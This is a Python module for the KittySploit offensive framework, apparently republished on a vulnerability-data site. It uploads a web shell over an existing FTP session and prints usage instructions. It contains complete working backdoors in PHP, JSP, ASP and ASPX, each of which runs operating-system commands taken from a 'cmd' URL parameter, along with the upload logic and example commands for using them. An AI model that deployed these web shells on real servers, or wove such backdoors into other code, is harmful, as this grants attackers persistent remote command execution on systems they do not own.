FTP Upload Web Shell
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from kittysploit import *
from lib.protocols.ftp.ftp_client import FTPClientMixin
import os
import tempfile
import time
class Module(Post, FTPClientMixin):
"""FTP Web Shell Upload Module"""
__info__ = {
"name": "FTP Upload Web Shell",
"description": "Uploads a web shell file to the FTP server for persistent web-based access",
"author": "KittySploit Team",
"session_type": SessionType.FTP,
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['risk_signals'],
'cost': 1.5,
'noise': 0.5,
'value': 1.0,
'requires': {'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': ['rce', 'shell', 'file_read'],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False},
'chain': {'produces_capabilities': [],
'consumes_capabilities': ['shell'],
'option_bindings': {},
'suggested_followups': []},
},
}
remote_path = OptString(".", "Remote directory to upload webshell", False)
filename = OptString("shell.php", "Webshell filename", False)
backdoor_type = OptChoice("php", "Webshell type: php, jsp, asp, aspx", True, choices=["php", "jsp", "asp", "aspx"])
web_path = OptString("", "Web-accessible path (if different from remote_path)", False)
def check(self):
"""Check if the module can run"""
session_id_value = str(self.session_id)
if not session_id_value:
print_error("Session ID not set")
return False
if not self.framework or not hasattr(self.framework, 'session_manager'):
print_error("Framework or session manager not available")
return False
session = self.framework.session_manager.get_session(session_id_value)
if not session:
print_error(f"Session {session_id_value} not found")
return False
# Try to get FTP connection to verify it works
try:
self.open_ftp()
return True
except Exception as e:
print_error(f"FTP connection error: {e}")
return False
def _generate_php_backdoor(self) -> str:
"""Generate PHP webshell code"""
return """<?php
// PHP Web Shell Backdoor
// Usage: ?cmd=whoami or ?cmd=ls -la
if (isset($_GET['cmd'])) {
echo "<pre>";
$output = shell_exec($_GET['cmd'] . ' 2>&1');
echo htmlspecialchars($output);
echo "</pre>";
} else {
echo "<h2>PHP Web Shell</h2>";
echo "<form method='GET'>";
echo "<input type='text' name='cmd' placeholder='Enter command' style='width: 500px;' />";
echo "<input type='submit' value='Execute' />";
echo "</form>";
}
?>"""
def _generate_jsp_backdoor(self) -> str:
"""Generate JSP webshell code"""
return """<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null && !cmd.isEmpty()) {
Process p = Runtime.getRuntime().exec(new String[]{"sh", "-c", cmd});
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
out.println("<pre>");
while ((line = br.readLine()) != null) {
out.println(line);
}
out.println("</pre>");
} else {
out.println("<h2>JSP Web Shell</h2>");
out.println("<form method='GET'>");
out.println("<input type='text' name='cmd' placeholder='Enter command' style='width: 500px;' />");
out.println("<input type='submit' value='Execute' />");
out.println("</form>");
}
%>"""
def _generate_asp_backdoor(self) -> str:
"""Generate ASP webshell code"""
return """<%
' ASP Web Shell Backdoor
' Usage: ?cmd=whoami or ?cmd=dir
cmd = Request("cmd")
If cmd <> "" Then
Set objWS = CreateObject("WScript.Shell")
Set objExec = objWS.Exec("cmd /c " & cmd)
Response.Write "<pre>"
Response.Write Server.HTMLEncode(objExec.StdOut.ReadAll)
Response.Write "</pre>"
Else
Response.Write "<h2>ASP Web Shell</h2>"
Response.Write "<form method='GET'>"
Response.Write "<input type='text' name='cmd' placeholder='Enter command' style='width: 500px;' />"
Response.Write "<input type='submit' value='Execute' />"
Response.Write "</form>"
End If
%>"""
def _generate_aspx_backdoor(self) -> str:
"""Generate ASPX webshell code"""
return """<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<script runat="server">
void Page_Load(object sender, EventArgs e) {
string cmd = Request.QueryString["cmd"];
if (!string.IsNullOrEmpty(cmd)) {
ProcessStartInfo psi = new ProcessStartInfo("cmd.exe", "/c " + cmd);
psi.RedirectStandardOutput = true;
psi.RedirectStandardError = true;
psi.UseShellExecute = false;
Process p = Process.Start(psi);
Response.Write("<pre>");
Response.Write(Server.HtmlEncode(p.StandardOutput.ReadToEnd()));
Response.Write(Server.HtmlEncode(p.StandardError.ReadToEnd()));
Response.Write("</pre>");
} else {
Response.Write("<h2>ASPX Web Shell</h2>");
Response.Write("<form method='GET'>");
Response.Write("<input type='text' name='cmd' placeholder='Enter command' style='width: 500px;' />");
Response.Write("<input type='submit' value='Execute' />");
Response.Write("</form>");
}
}
</script>"""
def _generate_backdoor(self) -> str:
"""Generate webshell code based on type"""
backdoor_type = self.backdoor_type.lower()
if backdoor_type == 'php':
return self._generate_php_backdoor()
elif backdoor_type == 'jsp':
return self._generate_jsp_backdoor()
elif backdoor_type == 'asp':
return self._generate_asp_backdoor()
elif backdoor_type == 'aspx':
return self._generate_aspx_backdoor()
else:
raise ProcedureError(FailureType.ConfigurationError, f"Unsupported backdoor type: {backdoor_type}. Supported: php, jsp, asp, aspx")
def _test_write_access(self) -> bool:
"""Test if we have write access (non-destructive test)"""
try:
connection = self.open_ftp()
# Try to get current directory - if this works, we have at least read access
# For write access, we'd need to actually try writing, but that can break the connection
# So we'll just check if we can get directory info
try:
connection.pwd()
# If we can get the current directory, assume we might have write access
# The actual upload will fail if we don't have write access
return True
except:
return False
except Exception as e:
# Don't fail completely, just return False
return False
def run(self):
"""Run the backdoor upload"""
try:
import time
print_info("=" * 70)
print_info("FTP Web Shell Upload")
print_info("=" * 70)
# Get connection info
conn_info = self.get_ftp_connection_info()
print_info(f"FTP Server: {conn_info.get('host', 'unknown')}:{conn_info.get('port', 21)}")
print_info(f"Username: {conn_info.get('username', 'unknown')}")
print_info(f"Webshell Type: {self.backdoor_type}")
print_info(f"Remote Path: {self.remote_path}")
print_info(f"Filename: {self.filename}")
print_info("")
# Test write access (optional, don't fail if test fails)
print_info("Testing write access...")
has_write = self._test_write_access()
if has_write:
print_success("Write access confirmed")
else:
print_warning("Could not verify write access, but will attempt upload anyway...")
print_info("")
# Generate webshell code
print_info("Generating webshell...")
webshell_code = self._generate_backdoor()
# Create temporary file
temp_file = tempfile.NamedTemporaryFile(mode='w', delete=False, suffix=f'.{self.backdoor_type}')
temp_file.write(webshell_code)
temp_file.close()
try:
# Change to target directory
if self.remote_path and self.remote_path != ".":
try:
self.change_directory(self.remote_path)
print_info(f"Changed to directory: {self.remote_path}")
except Exception as e:
print_warning(f"Could not change to {self.remote_path}: {e}")
# Upload webshell
print_info(f"Uploading webshell: {self.filename}")
remote_file = f"{self.remote_path}/{self.filename}".replace("//", "/")
if self.remote_path == ".":
remote_file = self.filename
# Ensure binary mode for upload (handled in upload_file, but ensure it here too)
connection = self.open_ftp()
try:
connection.voidcmd('TYPE I') # Binary mode
except:
pass # Some servers don't support TYPE command or it's already set
self.upload_file(temp_file.name, remote_file)
print_success(f"Web shell uploaded successfully: {remote_file}")
# Get file size
try:
file_size = self.get_file_size(remote_file)
if file_size > 0:
print_info(f"File size: {file_size} bytes")
except:
pass
# Display access information
print_info("")
print_info("-" * 70)
print_success("Web Shell Information:")
# Display URL
web_path = self.web_path if self.web_path else self.remote_path
if web_path and web_path != ".":
# Try to construct URL (assuming HTTP on port 80)
host = conn_info.get('host', 'target')
url = f"http://{host}/{web_path}/{self.filename}".replace("//", "/")
print_info(f"Web Shell URL: {url}")
print_info(f"Usage: {url}?cmd=whoami")
print_info("")
print_info("Example commands:")
print_info(f" - {url}?cmd=whoami")
print_info(f" - {url}?cmd=ls -la")
print_info(f" - {url}?cmd=id")
print_info(f" - {url}?cmd=pwd")
else:
print_info(f"Web Shell uploaded to: {remote_file}")
print_info(f"Access via: http://<host>/{remote_file}?cmd=<command>")
print_info("")
print_info("Example commands:")
print_info(f" - http://<host>/{remote_file}?cmd=whoami")
print_info(f" - http://<host>/{remote_file}?cmd=ls -la")
finally:
# Clean up temporary file
try:
os.unlink(temp_file.name)
except:
pass
return True
except ProcedureError:
raise
except Exception as e:
raise ProcedureError(FailureType.Unknown, f"Error uploading webshell: {e}")
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
02 Aug 2026 20:51Current
5.9Medium risk
Vulners AI Score5.9